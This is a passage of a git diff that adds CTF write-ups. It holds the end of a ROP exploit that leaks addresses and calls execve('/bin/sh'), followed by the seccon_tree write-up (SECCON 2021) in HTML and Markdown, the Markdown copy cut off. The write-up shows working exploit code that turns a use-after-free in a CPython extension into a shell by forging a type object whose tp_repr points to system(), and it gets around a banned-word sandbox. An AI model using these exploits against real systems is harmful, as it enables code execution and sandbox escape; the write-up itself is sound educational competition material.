# ' ' + putc(0xa) + +# creates array on stack +# but after we return the stack frame is gonna be invalid! +def create_freed_array(): + a = array(1000) + return a + +# STACK_BASE = 0 +# PIE_BASE = 0 +# ARR_CANARY = 0 + +# rop gadgets + +def gadget1(): + return 0x5f5e5a90 + +# leak stuff, if we give it the freed array +def deeper(a): + c = 0x43434343 + a2 = a + d = 0x44444444 + print_arr(a) + return fetch(a, 999) + +def leak_array_stack(a): + b = 0x42424242 + # b = array(10) + return deeper(a) + +def pie_deeper(a): + return fetch(a, 999) + +def leak_pie_addr(a): + return pie_deeper(a) + +# 993 is location of saved rip for returning from this function! +def do_rop_deeper(a, array_addr, gadget_addr, syscall_addr): + e = 0x45454545 + a2 = a + array_addr2 = array_addr + gadget_addr2 = gadget_addr + syscall_addr2 = syscall_addr + f = 0x46464646 + bin_sh = 0x6e69622f + # necessary, otherwise gcc complains about too large constants :/ + bin_sh = bin_sh | (0x0068732f * 65536 * 65536) + print_arr(a) + store(a2, 993, gadget_addr2) + store(a2, 994, 0) # rdx + store(a2, 0, bin_sh) + store(a2, 995, 0) # rsi + store(a2, 996, array_addr2 + 8) # rdi + store(a2, 997, 59) # rax = syscall number + store(a2, 998, 0x41414141) # rbp + store(a2, 999, syscall_addr2) + +def do_rop(a, array_addr, gadget_addr, syscall_addr): + do_rop_deeper(a, array_addr, gadget_addr, syscall_addr) + +def main(): + b = 0x41414242 + a = create_freed_array() + # print_arr(a) + array_stack_addr = leak_array_stack(a) + pie_addr = leak_pie_addr(a) + pie_base = pie_addr - 0x13f2 + # array_stack_addr = leak_array_stack(a) + # print_hex_num(0x7ffffffff000) + print_hex_num(array_stack_addr) + putc(0xa) + print_hex_num(pie_addr) + putc(0xa) + do_rop(a, array_stack_addr, pie_base + 0x135C, pie_base + 0x1661) + d = getc() + putc(0xa) + putc(d) +``` + +[^1]: This was unchanged from the original project on GitHub. +[^2]: Note: I changed the provided python file to make it easier to debug. For example I save the assembly output in a temporary file. +[^3]: The `store` / `fetch` functions might seem a bit weird. I had some issues (because I was wrongly using Python 3.8) and so I just copied the code from GitHub. All `store` / `fetch` should be replaceable with normal array indexing now. \ No newline at end of file diff --git a/SECCON-2021/pwn/seccon_tree.html b/SECCON-2021/pwn/seccon_tree.html new file mode 100755 index 0000000..9426427 --- /dev/null +++ b/SECCON-2021/pwn/seccon_tree.html @@ -0,0 +1,811 @@ + + + + + +seccon_tree | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

seccon_tree

+ +

Author: pql

+ +

Tags: pwn, python, module, sandbox

+ +

Points: 393 (4 solves)

+ +
+

Let’s make your own tree! nc seccon-tree.quals.seccon.jp 30001

+
+ +

The challenge

+

We’re given an archive containing a Dockerfile, a python C Extension Module along with its source, and a small python server that listens on a port and executes semi-arbitrary code after performing some checks.

+ +
seccon_tree
+├── Dockerfile
+├── env
+│   ├── banned_word
+│   ├── run.py
+│   ├── seccon_tree.cpython-39-x86_64-linux-gnu.so
+│   └── template.py
+├── flag
+└── src
+    ├── lib.c
+    └── setup.py
+
+ +

Additionally, we’re given an example on how to use the provided extension module:

+ +
# Here is an example.
+
+from seccon_tree import Tree
+
+cat = Tree("cat")
+lion = Tree("lion")
+tiger = Tree("tiger")
+
+cat.add_child_left(lion)
+cat.add_child_right(tiger)
+
+assert(cat.find("lion") is not None)
+assert(lion.find("tiger") is None)
+
+ +

Ok, so nothing special here. The extension module just implements a binary tree structure, and assumedly we have to exploit it (as the challenge is marked pwn). As mentioned, we can execute semi-arbitrary code on the server. It might be a good idea to look at what constraints are imposed on us (maybe we can cheese it!):

+ +

Looking at run.py, our code is inserted into a template (/** code **/ is replaced with our input):

+ +
from seccon_tree import Tree
+
+# Debug utility
+seccon_print = print
+seccon_bytes = bytes
+seccon_id = id
+seccon_range = range
+seccon_hex = hex
+seccon_bytearray = bytearray
+class seccon_util(object):
+    def Print(self, *l):
+        seccon_print(*l)
+    def Bytes(self, o):
+        return seccon_bytes(o)
+    def Id(self, o):
+        return seccon_id(o)
+    def Range(self, *l):
+        return seccon_range(*l)
+    def Hex(self, o):
+        return seccon_hex(o)
+    def Bytearray(self, o):
+        return seccon_bytearray(o)
+
+dbg = seccon_util()
+
+# Disallow everything
+for key in dir(__builtins__):
+    del __builtins__.__dict__[key]
+del __builtins__
+
+
+/** code **/
+
+
+ +

Furthermore, a list of banned strings is provided: if any of these strings occur in our supplied payload code, it is rejected.

+ +
attr,base,breakpoint,builtins,code,debug,dict,eval,exec,frame,global,import,input,loader,locals,memoryview,module,mro,open,os,package,raise,read,seccon,spec,sub,super,sys,system,type,vars,write
+
+ +

Ouch, that’s quite an exhaustive list! In combination with all of __builtins__ being removed, this doesn’t leave much room for cheese. Ergo, exploiting the module itself it is. Before starting exploitation, we grab the python3.9 executable as well as its debug files from the docker container and merge them together:

+ +
docker cp seccon_pwn:/usr/bin/python3.9 ./
+docker cp seccon_pwn:/usr/lib/debug/.build-id/00/e6cc236dd0e3107072f45b03325ebc736013fa.debug
+eu-unstrip ./python3.9 e6cc236dd0e3107072f45b03325ebc736013fa.debug
+
+ +

This is going to make debugging a lot easier. We can now get full type info in gdb, which allows for detailed stack traces and pretty-printing of structures.

+ +

A primer on CPython

+ +

Everything in python is an object. There is no concept of ‘primitive types’ like in Java, C++, or PHP. Even types themselves are objects! In CPython, all of these objects are allocated on the heap, using the default system allocator (ptmalloc2 on linux).

+ +

An object can be referenced generically with a PyObject* pointer. Every CPython object has a PyObject at the beginning, which contains a reference count and a PyTypeObject* pointer describing the type of the object. The PyObject* pointer has to be cast to a more complete subtype to access any additional fields in the structure. This is reminiscent of the object model in languages like C++, except implemented manually.

+ +

A PyTypeObject corresponds to a type in python and is an object in itself. This object contains things like:

+ +
    +
  • The type name.
  • +
  • The size of objects of this type.
  • +
  • “Special” function pointers for native implementations of __repr__, __str__, __hash__ etc.
  • +
  • Docstring for objects of this type.
  • +
  • Methods and members for objects of this type.
  • +
  • (De)allocation, deletion and initialization function pointers.
  • +
+ +

The reference count inside of PyObject is a 64 bit unsigned integer used for memory management. Every time an object gains a reference (for example by assigning it to a different variable) the reference count is incremented, and every time it loses a reference (for example, when del is used or a variable goes out of scope) the reference count is decremented.

+ +

When the reference count reaches zero, the object is destroyed immediately. Optionally some specific destruction code can be ran before the object is freed and released to the allocator again.

+ +

Note that this is a very primitive garbage collection algorithm compared to runtimes like Java and Go. Objects are simply freed on the main thread directly when the reference count reaches zero. For our purposes this is a good thing, as this makes it a lot less painful to exploit memory management bugs.

+ +

Finding the bug

+ +

So, looking at the module extension source, it declares a new type seccon_tree.Tree, which is defined as follows:

+ +
static PyTypeObject TreeType;
+
+typedef struct {
+    PyObject_HEAD
+    PyObject *object;
+    PyObject *left;
+    PyObject *right;
+} Tree;
+
+static PyMethodDef TreeMethods[] = {
+    {"find", (PyCFunction)find_node, METH_VARARGS, "tree: find"},
+    {"get_object", (PyCFunction)get_object, METH_VARARGS, "tree: get_object"},
+    {"get_child_left", (PyCFunction)get_child_left, METH_VARARGS, "tree: get_child_left"},
+    {"get_child_right", (PyCFunction)get_child_right, METH_VARARGS, "tree: get_child_right"},
+    {"add_child_left", (PyCFunction)add_child_left, METH_VARARGS, "tree: add_child_left"},
+    {"add_child_right", (PyCFunction)add_child_right, METH_VARARGS, "tree: add_child_right"},
+    {NULL}
+};
+
+static PyTypeObject TreeType = {
+    PyVarObject_HEAD_INIT(NULL, 0)
+    "seccon_tree.Tree",             /* tp_name */
+    sizeof(Tree),                   /* tp_basicsize */
+    0,                              /* tp_itemsize */
+    (destructor)Tree_dealloc,       /* tp_dealloc */
+    0,                              /* tp_print */
+    0,                              /* tp_getattr */
+    0,                              /* tp_setattr */
+    0,                              /* tp_reserved */
+    0,                              /* tp_repr */
+    0,                              /* tp_as_number */
+    0,                              /* tp_as_sequence */
+    0,                              /* tp_as_mapping */
+    0,                              /* tp_hash */
+    0,                              /* tp_call */
+    0,                              /* tp_str */
+    0,                              /* tp_getattro */
+    0,                              /* tp_setattro */
+    0,                              /* tp_as_buffer */
+    Py_TPFLAGS_DEFAULT,             /* tp_flags */
+    "my tree",                      /* tp_doc */
+    0,                              /* tp_traverse */
+    0,                              /* tp_clear */
+    0,                              /* tp_richcompare */
+    0,                              /* tp_weaklistoffset */
+    0,                              /* tp_iter */
+    0,                              /* tp_iternext */
+    TreeMethods,                    /* tp_methods */
+    0,                              /* tp_members */
+    0,                              /* tp_getset */
+    0,                              /* tp_base */
+    0,                              /* tp_dict */
+    0,                              /* tp_descr_get */
+    0,                              /* tp_descr_set */
+    0,                              /* tp_dictoffset */
+    0,                              /* tp_init */
+    0,                              /* tp_alloc */
+    Tree_new,                       /* tp_new */
+};
+
+ +

So, the Tree object simply represents a node in a binary tree, with a left reference, a right reference and an inner object. Even though left and right are declared as PyObject* in the Tree struct, these fields can effectively only be set to another Tree object. A summary of the declared methods:

+ +
    +
  • get_child_left, get_child_right fetch the left and respectively right fields of the Tree and return it after increasing their reference counts.
  • +
  • add_child_left, add_child_right set the left and respectively right fields of the Tree to the supplied Tree after increasing its reference count.
  • +
  • get_object returns the object field of the Tree after increasing its reference count.
  • +
  • find traverses the Tree and tries to compare the object fields to the supplied object via repr. It returns the matching Tree (after increasing its reference count) on match or None if no match was found.
  • +
  • Tree_new acts as allocator and initializer of the Tree in one, allocating memory for the object and setting its object field to the supplied argument. +
      +
    • Normally this functionality is split up between __new__ and __init__ but this object seems to implement it in a single method, I am not sure if this is conventional or not.
    • +
    +
  • +
  • Tree_dealloc is calle whenever the reference count of the Tree drops to zero and frees the Tree struct.
  • +
+ +

It’s interesting to note that the fields of the Tree struct are not exposed as members, so expressions like tree.object will not work.

+ +

After some manual review, I found a bug in Tree_dealloc:

+ +
static void
+Tree_dealloc(Tree *self)
+{
+    Py_XDECREF(self->left);
+    Py_XDECREF(self->right);
+    Py_XDECREF(self->object);
+
+    Py_TYPE(self)->tp_free((PyObject *) self);
+}
+
+ +

Decrementing refcounts in deallocation functions in this manner is unsafe. If self->object has a reference count of one and implements a custom __del__ method, this method is potentially still able to reference its associated Tree container, even though it will be unconditionally freed after. This can lead to a classic use-after-free condition, and optionally this can be converted to a double free.

+ +

To properly exploit this, we should take a look at the add_child_left (or right) method:

+ +
static PyObject*
+add_child_left(Tree *self, PyObject *args) {
+    PyObject *obj;
+    if (!PyArg_ParseTuple(args, "O!", &TreeType, &obj)) {
+        return NULL;
+    }
+    if (self->left != NULL) {
+        Py_DECREF(self->left);
+    }
+    Py_INCREF(obj);
+    self->left = obj;
+
+    Py_RETURN_NONE;
+}
+
+ +

If the left field is replaced with another Tree, the old Tree’s reference count is decremented, triggering Tree_dealloc if this was the only reference. Tree_dealloc will in turn decrement the old Tree’s object field reference count, which can trigger a custom __del__ method. This method can then call get_child_left on the root Tree, which will increment the reference counter again, but since we’re still in Tree_dealloc, the Tree will be freed. If we save the result of get_child_left to a global state we get a handle to a freed object. If we do not, the reference counter will decrease again after the object goes out of scope and we’re left with a double free after Tree_dealloc gets called again.

+ +

So, a basic proof of concept for the user-after-free would be:

+ +
from seccon_tree import Tree
+
+root = Tree('x')
+
+dangling_ref = None
+
+class Pwn:
+    
+    def __del__(self):
+        global dangling_ref
+        dangling_ref = root.get_child_left()
+        
+def trigger():
+    root.add_child_left(Tree(Pwn()))
+    
+    # Drop refcount of Pwn object, triggering destruction
+    root.add_child_left(Tree(None))
+
+trigger()
+
+new_ref = Tree('a')
+
+print(dangling_ref)
+print(new_ref)
+
+ +

Executing this in the docker container yields:

+ +
user@c19c5a5d3718:/exp$ ./python3.9x poc.py 
+<seccon_tree.Tree object at 0x7f588df83f60>
+<seccon_tree.Tree object at 0x7f588df83f60>
+
+ +

This scenario is not very exciting in itself, since the only thing we’ve turned the UAF into is a Tree with two references but an actual reference count of one, but demonstrates the vulnerability.

+ +

Funnily enough, this apparently was not the intended bug! After the competition ended, the author revealed that the intended bug was actually in find: the comparison with repr would allow a malicious object to implement a __repr__ method that would replace a node in the tree, causing an use-after-free as well. I assume that exploitation would be mostly the same after this point, as these are quite similar scenarios.

+ +

Exploitation

+ +

I chose to first implement a standalone exploit that doesn’t concern itself with the sandboxed environment as it saves us a great deal of pain, both implementation wise and debugging wise. Luckily the exploit worked in the sandbox without major changes.

+ +

After creating the proof of concept it took me about three hours to get a shell. I made the mistake of treating this too much like a “normal” use-after-free scenario where you create a type confusion by allocating two different objects at the same location. For CPython this turned out to be impossible (or too hard) with PyObject types, as the interpreter dynamically deduces the types based on the PyTypeObject pointer, and as such there is no actually difference in behavior when operating on the value in two different contexts. For example:

+ +
from seccon_tree import Tree
+
+root = Tree('x')
+
+dangling_ref = None
+
+class X:
+    def __del__(self):
+        global dangling_ref
+        print("[+] Triggering UAF")
+        dangling_ref = root.get_child_left()
+
+def trigger():
+    root.add_child_left(Tree(X()))
+    root.add_child_left(Tree(None))
+
+trigger()
+
+# this seems to magically be allocated at the same spot as `dangling_ref`
+confusion = bytes(10) 
+print(dangling_ref)
+print(confusion)
+input()
+
+ +

will yield:

+ +
user@c19c5a5d3718:/exp$ ./python3.9x poc.py 
+[+] Triggering UAF
+b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+ +

After realizing this wasn’t going to work, I opted for trying to get a bytearray allocation at the same location as the freed Tree (which probably should have been my first idea anyway). With allocation I don’t mean the actual object, but rather where its contents are stored.

+ +

Looking in Include/cpython/bytearrayobject.h, this pointer is stored in the ob_bytes field of PyByteArrayObject:

+ +
typedef struct {
+    PyObject_VAR_HEAD
+    Py_ssize_t ob_alloc;   /* How many bytes allocated in ob_bytes */
+    char *ob_bytes;        /* Physical backing buffer */
+    char *ob_start;        /* Logical start inside ob_bytes */
+    Py_ssize_t ob_exports; /* How many buffer exports */
+} PyByteArrayObject;
+
+ +

We’re lucky that bytearray().__sizeof__() == 56 and Tree(X()).__sizeof__() == 40, so we can be fairly sure that the allocation of a bytearray itself will not inadvertedly get allocated at our target chunk.

+ +

N.B: if you’re not very familiar with python, the bytearray object is a mutable version of the bytes object. This is useful, as the data is stored in a seperate buffer instead of just appended to the object iself. Additionally, we can change the contents of the buffer after the object has been allocated which might make our life easier.

+ +

The following code will successfully allocate a buffer of null bytes at the location of dangling_ref:

+ +
from seccon_tree import Tree
+
+root = Tree('x')
+
+dangling_ref = None
+
+class X:
+    def __del__(self):
+        global dangling_ref
+        print("[+] Triggering UAF")
+        dangling_ref = root.get_child_left()
+
+def trigger():
+    root.add_child_left(Tree(X()))
+    root.add_child_left(Tree(None))
+
+trigger()
+
+print(dangling_ref)
+a = bytearray(40)
+print(dangling_ref)
+input()
+
+ +
user@c19c5a5d3718:/exp$ ./python3.9x poc.py 
+[+] Triggering UAF
+<seccon_tree.Tree object at 0x7f022ab05f00>
+Segmentation fault (core dumped)
+
+ +

And we get our segfault! Examining the crash in gdb:

+ +
gef➤  r poc.py 
+Starting program: /exp/python3.9x poc.py
+warning: Error disabling address space randomization: Operation not permitted
+[Thread debugging using libthread_db enabled]
+Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
+[+] Triggering UAF
+<seccon_tree.Tree object at 0x7f2166dccf00>
+
+Program received signal SIGSEGV, Segmentation fault.
+PyObject_Str (v=0x7f2166dccf00) at ../Objects/object.c:463
+463	../Objects/object.c: No such file or directory.
+
+[ Legend: Modified register | Code | Heap | Stack | String ]
+───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
+$rax   : 0x00007f2166f9e740  →  0x00007f2166f9e740  →  [loop detected]
+$rbx   : 0x00000000014bd900  →  0x0000000000000000
+$rcx   : 0x0               
+$rdx   : 0x0               
+$rsp   : 0x00007ffc7f2e32f0  →  0x0000000000000001
+$rbp   : 0x00000000014bf300  →  0x0000000000000000
+$rsi   : 0x246             
+$rdi   : 0x00007f2166dccf00  →  0x0000000000000001
+$rip   : 0x00000000005f81a1  →  <PyObject_Str+113> cmp QWORD PTR [rcx+0x88], 0x0
+$r8    : 0x0               
+$r9    : 0x00000000014bdb80  →  0x00007f2166e588b0  →  0x00007f2166e5a1f0  →  0x00007f2166e56620  →  0x00007f2166e56670  →  0x00007f2166e566c0  →  0x00007f2166e5a2d0  →  0x00007f2166e56710
+$r10   : 0x8               
+$r11   : 0x00007ffc7f2e32d8  →  0x0000000000000000
+$r12   : 0x00007f2166dccf00  →  0x0000000000000001
+$r13   : 0x1               
+$r14   : 0x00000000015199f8  →  0x00007f2166ef74a0  →  0x0000000000000004
+$r15   : 0x00007f2166ef74a0  →  0x0000000000000004
+$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
+$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
+───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
+0x00007ffc7f2e32f0│+0x0000: 0x0000000000000001	 ← $rsp
+0x00007ffc7f2e32f8│+0x0008: 0x00007f2166f9e740  →  0x00007f2166f9e740  →  [loop detected]
+0x00007ffc7f2e3300│+0x0010: 0x0000000000000000
+0x00007ffc7f2e3308│+0x0018: 0x00007f2166e4fea0  →  0x0000000000000001
+0x00007ffc7f2e3310│+0x0020: 0x00007f2166dccf00  →  0x0000000000000001
+0x00007ffc7f2e3318│+0x0028: 0x000000000065862f  →  <PyFile_WriteObject+63> mov r12, rax
+0x00007ffc7f2e3320│+0x0030: 0x0000000000000001
+0x00007ffc7f2e3328│+0x0038: 0x0000000000000000
+─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
+     0x5f818f <PyObject_Str+95> mov    rcx, QWORD PTR [r12+0x8]
+     0x5f8194 <PyObject_Str+100> cmp    rcx, 0x9590a0
+     0x5f819b <PyObject_Str+107> je     0x5f823a <PyObject_Str+266>
+ →   0x5f81a1 <PyObject_Str+113> cmp    QWORD PTR [rcx+0x88], 0x0
+     0x5f81a9 <PyObject_Str+121> je     0x4edaf3 <PyObject_Str-1091133>
+     0x5f81af <PyObject_Str+127> mov    rbp, QWORD PTR [rip+0x3adca2]        # 0x9a5e58 <_PyRuntime+568>
+     0x5f81b6 <PyObject_Str+134> mov    edi, DWORD PTR [rbp+0x20]
+     0x5f81b9 <PyObject_Str+137> mov    rsi, QWORD PTR [rbp+0x10]
+     0x5f81bd <PyObject_Str+141> add    edi, 0x1
+─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
+[#0] Id 1, Name: "python3.9x", stopped 0x5f81a1 in PyObject_Str (), reason: SIGSEGV
+───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
+[#0] 0x5f81a1 → PyObject_Str(v=0x7f2166dccf00)
+[#1] 0x65862f → PyFile_WriteObject(v=0x7f2166dccf00, f=<optimized out>, flags=<optimized out>)
+[#2] 0x640777 → builtin_print(self=<optimized out>, args=0x1519a00, nargs=0x1, kwnames=<optimized out>)
+[#3] 0x525c44 → cfunction_vectorcall_FASTCALL_KEYWORDS(func=0x7f2166ef74a0, args=0x1519a00, nargsf=<optimized out>, kwnames=<optimized out>)
+[#4] 0x599267 → _PyObject_VectorcallTstate(kwnames=0x0, nargsf=<optimized out>, args=0x1519a00, callable=0x7f2166ef74a0, tstate=0x14bf300)
+[#5] 0x599267 → PyObject_Vectorcall(kwnames=0x0, nargsf=<optimized out>, args=0x1519a00, callable=0x7f2166ef74a0)
+[#6] 0x599267 → call_function(kwnames=0x0, oparg=<optimized out>, pp_stack=<synthetic pointer>, tstate=0x14bf300)
+[#7] 0x599267 → _PyEval_EvalFrameDefault(tstate=<optimized out>, f=<optimized out>, throwflag=<optimized out>)
+[#8] 0x59734e → _PyEval_EvalFrame(throwflag=0x0, f=0x1519890, tstate=0x14bf300)
+[#9] 0x59734e → _PyEval_EvalCode(tstate=<optimized out>, _co=<optimized out>, globals=<optimized out>, locals=<optimized out>, args=<optimized out>, argcount=<optimized out>, kwnames=0x0, kwargs=0x0, kwcount=<optimized out>, kwstep=0x2, defs=0x0, defcount=<optimized out>, kwdefs=0x0, closure=0x0, name=0x0, qualname=0x0)
+───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
+
+gef➤  telescope 0x7f2166dccf00
+0x00007f2166dccf00│+0x0000: 0x0000000000000001	 ← $rdi, $r12
+0x00007f2166dccf08│+0x0008: 0x0000000000000000
+0x00007f2166dccf10│+0x0010: 0x0000000000000000
+0x00007f2166dccf18│+0x0018: 0x0000000000000000
+0x00007f2166dccf20│+0x0020: 0x0000000000000000
+0x00007f2166dccf28│+0x0028: 0x0000000000000000
+0x00007f2166dccf30│+0x0030: 0x0000000000000001
+0x00007f2166dccf38│+0x0038: 0x0000000000958d20  →  0x0000000000000046 ("F"?)
+0x00007f2166dccf40│+0x0040: 0x0000000000000002
+0x00007f2166dccf48│+0x0048: 0xffffffffffffffff
+gef➤  
+
+ +

We’ve basically got the perfect primitive! Our 40 byte bytearray allocation is allocated exactly at the old address of the Tree, which we still have a reference to through our dangling_ref. Note that the first byte is 1 because of the fact that print increments the reference count of the object.

+ +

Further exploitation is quite easy. We can overwrite the PyObjectType pointer of the PyObject to point to a buffer of arbitrary data. As a PyObjectType contains a bunch of function pointers, we should be able to easily get rip control. Even more fortunately, the (non-PIE) python executable links to system! Putting one and one together this shouldn’t be too bad. We forge the tp_repr pointer to point to system, and set the reference count of the associated object to "/bin/sh;".

+ +

The following code gets us a shell:

+ +
from seccon_tree import Tree
+
+root = Tree('x')
+
+dangling_ref = None
+
+def p64(x):
+    return x.to_bytes(8, 'little')
+
+class X:
+    def __del__(self):
+        global dangling_ref
+        print("[+] Triggering UAF")
+        dangling_ref = root.get_child_left()
+
+def trigger():
+    root.add_child_left(Tree(X()))
+    root.add_child_left(Tree(None))
+
+trigger()
+
+print(dangling_ref)
+a = bytearray(40)
+
+# This is a bit messy but putting the constants in variables 
+# seems to do heap things.. which is not desirable.
+
+# 0x956900: pointer to the type of PyObjectType itself
+# 0x4214f0: pointer to the system routine
+    
+r = p64(0xc) + p64(0x956900) + 2 * p64(0) + p64(0x28) + 6 * p64(0) + p64(0x4214F0) + 12 * p64(0) 
+
+print(hex(id(r))) # print address of `r`
+
+
+# Overwrite refcount of dangling_ref to be ".bin/sh;"
+# repr will actually increase the reference count by one, so '.' + 1 = '/'
+a[0:8] = b".bin/sh;"
+
+
+# Set the PyObjectType pointer of dangling_ref to the values of `r` we declared above.
+# The values start 0x20 bytes into the PyBytes object.
+a[8:16] = p64(id(r) + 0x20)
+
+repr(dangling_ref) # trigger system("/bin/sh;")
+
+ +
user@c19c5a5d3718:/exp$ ./python3.9x poc.py 
+[+] Triggering UAF
+<seccon_tree.Tree object at 0x7f33add45ea0>
+0x7f33ade125d0
+$ id
+uid=1000(user) gid=999(user) groups=999(user)
+$ 
+
+ +

Cool! Now comes the scary part, seeing whether this strategy is portable to the sandboxed environment.

+ +

Luckily, there were only two problems I had to deal with:

+ +
    +
  • The class keyword does not exist, so we can’t declare types conventionally
  • +
  • global is not a permitted keyword
  • +
+ +

We can overcome 1) with an overload of the type initializer. type(name, bases, dict) returns a new type, and we can specify members in dict.

+ +

We can overcome 2) by just using a global mutable data structure instead, like a list.

+ +

The final exploit:

+ +
root = Tree('x')
+dangling_ref = []
+
+bytearray = dbg.Bytearray
+print = dbg.Print
+id = dbg.Id
+hex = dbg.Hex
+bytes = dbg.Bytes
+
+def p64(x):
+    return x.to_bytes(8, 'little')
+
+
+def delfunc(x):
+    dbg.Print("[+] Triggering UAF")
+    dangling_ref.append(root.get_child_left())
+
+# create our type in an unconventional manner
+# "a".__class__.__class__ corresponds to `type`
+X = "a".__class__.__class__("X", (), {"__del__":delfunc}) 
+
+
+# for some reason we now need to store this.. I'm not sure why
+z = []
+def trigger():
+    root.add_child_left(Tree(X()))
+    z.append(Tree(None))
+    root.add_child_left(z[0])
+
+trigger()
+
+print(dangling_ref[0])
+a = bytearray(40)
+
+# This is a bit messy but putting the constants in variables 
+# seems to do heap things.. which is not desirable.
+
+# 0x956900: pointer to the type of PyObjectType itself
+# 0x4214f0: pointer to the system routine
+r = p64(0xc) + p64(0x956900) + p64(0) + p64(0) + p64(0x28) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0x4214F0) + 12 * p64(0)
+
+# Print address of `r`
+print(hex(id(r)))
+
+a[0:8] = b"/bin/sh;"
+a[8:16] = p64(id(r) + 0x20)
+
+# if we just call print on the whole list it seems like we don't have the refcount problem
+# print will call repr on the list, which will in turn call repr on every element  
+print(dangling_ref)
+
+ +

Note that you have to remove the comments in order to pass the check.

+ +
➜  ~ nc seccon-tree.quals.seccon.jp 30001
+[Proof of Work]
+Submit the token generated by `hashcash -mb25 dekeqerfx`
+1:25:211214:dekeqerfx::WJ5uhR6NTxZ++3jN:00000000Xkev
+matched token: 1:25:211214:dekeqerfx::WJ5uhR6NTxZ++3jN:00000000Xkev
+check: ok
+Give me the source code url (where filesize < 10000).
+Someone says that https://transfer.sh/ is useful if you don't have your own server
+http://REDACTED:8000/exp.py
+[+] Triggering UAF
+<seccon_tree.Tree object at 0x7fad95b94180>
+0x7fad95b8c300
+ls
+banned_word
+flag-2ed5991c0023b19e969ed2a7882a2d59
+run.py
+seccon_tree.cpython-39-x86_64-linux-gnu.so
+template.py
+cat flag*
+SECCON{h34p_m4n463m3n7_15_h4rd_f0r_hum4n5....}
+
+ +

Sure is, seeing how this bug was apparently unintended :p.

+ +

Conclusion

+ +

I thought this was quite a nice challenge. I didn’t have any experience with CPython internally before this, so I learned a lot about the interpreter.

+ +

We first-blooded this challenge about 6 hours into the CTF. I was surprised to see that the second solve was finally made about 16 hours into the CTF, as I didn’t think this was that hard of a challenge. Maybe the find bug was actually a lot harder to exploit?

+ +

If the python binary would have had PIE, exploitation would be a bit harder, as you’d also have to leak libc or the executable base. I suppose you could leak values via the name or docstring field of the PyTypeObjectthough.

+ +

Thanks to moratorium08 for the great challenge!

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2021/pwn/seccon_tree.md b/SECCON-2021/pwn/seccon_tree.md new file mode 100755 index 0000000..ae87912 --- /dev/null +++ b/SECCON-2021/pwn/seccon_tree.md @@ -0,0 +1,622 @@ +# seccon_tree + +**Author**: pql + +**Tags**: pwn, python, module, sandbox + +**Points**: 393 (4 solves) + +> Let's make your own tree! nc seccon-tree.quals.seccon.jp 30001 + +## The challenge +We're given an archive containing a Dockerfile, a python [C Extension Module](https://docs.python.org/3/extending/extending.html) along with its source, and a small python server that listens on a port and executes semi-arbitrary code after performing some checks. + +``` +seccon_tree +├── Dockerfile +├── env +│   ├── banned_word +│   ├── run.py +│   ├── seccon_tree.cpython-39-x86_64-linux-gnu.so +│   └── template.py +├── flag +└── src + ├── lib.c + └── setup.py +``` + +Additionally, we're given an example on how to use the provided extension module: + +```python +# Here is an example. + +from seccon_tree import Tree + +cat = Tree("cat") +lion = Tree("lion") +tiger = Tree("tiger") + +cat.add_child_left(lion) +cat.add_child_right(tiger) + +assert(cat.find("lion") is not None) +assert(lion.find("tiger") is None) +``` + +Ok, so nothing special here. The extension module just implements a binary tree structure, and assumedly we have to exploit it (as the challenge is marked `pwn`). As mentioned, we can execute semi-arbitrary code on the server. It might be a good idea to look at what constraints are imposed on us (maybe we can cheese it!): + +Looking at `run.py`, our code is inserted into a template (`/** code **/` is replaced with our input): + +```python +from seccon_tree import Tree + +# Debug utility +seccon_print = print +seccon_bytes = bytes +seccon_id = id +seccon_range = range +seccon_hex = hex +seccon_bytearray = bytearray +class seccon_util(object): + def Print(self, *l): + seccon_print(*l) + def Bytes(self, o): + return seccon_bytes(o) + def Id(self, o): + return seccon_id(o) + def Range(self, *l): + return seccon_range(*l) + def Hex(self, o): + return seccon_hex(o) + def Bytearray(self, o): + return seccon_bytearray(o) + +dbg = seccon_util() + +# Disallow everything +for key in dir(__builtins__): + del __builtins__.__dict__[key] +del __builtins__ + + +/** code **/ + +``` + +Furthermore, a list of banned strings is provided: if any of these strings occur in our supplied payload code, it is rejected. + +``` +attr,base,breakpoint,builtins,code,debug,dict,eval,exec,frame,global,import,input,loader,locals,memoryview,module,mro,open,os,package,raise,read,seccon,spec,sub,super,sys,system,type,vars,write +``` + +Ouch, that's quite an exhaustive list! In combination with all of `__builtins__` being removed, this doesn't leave much room for cheese. Ergo, exploiting the module itself it is. Before starting exploitation, we grab the `python3.9` executable as well as its debug files from the docker container and merge them together: + +```bash +docker cp seccon_pwn:/usr/bin/python3.9 ./ +docker cp seccon_pwn:/usr/lib/debug/.build-id/00/e6cc236dd0e3107072f45b03325ebc736013fa.debug +eu-unstrip ./python3.9 e6cc236dd0e3107072f45b03325ebc736013fa.debug +``` + +This is going to make debugging a lot easier. We can now get full type info in gdb, which allows for detailed stack traces and pretty-printing of structures. + +# A primer on CPython + +Everything in python is an object. There is no concept of 'primitive types' like in Java, C++, or PHP. Even types themselves are objects! In CPython, all of these objects are allocated on the heap, using the default system allocator (`ptmalloc2` on linux). + +An object can be referenced generically with a `PyObject*` pointer. Every CPython object has a `PyObject` at the beginning, which contains a reference count and a `PyTypeObject*` pointer describing the type of the object. The `PyObject*` pointer has to be cast to a more complete subtype to access any additional fields in the structure. This is reminiscent of the object model in languages like C++, except implemented manually. + +A `PyTypeObject` corresponds to a `type` in python and is an object in itself. This object contains things like: + +- The type name. +- The size of objects of this type. +- "Special" function pointers for native implementations of `__repr__`, `__str__`, `__hash__` etc. +- Docstring for objects of this type. +- Methods and members for objects of this type. +- (De)allocation, deletion and initialization function pointers. + +The reference count inside of `PyObject` is a 64 bit unsigned integer used for memory management. Every 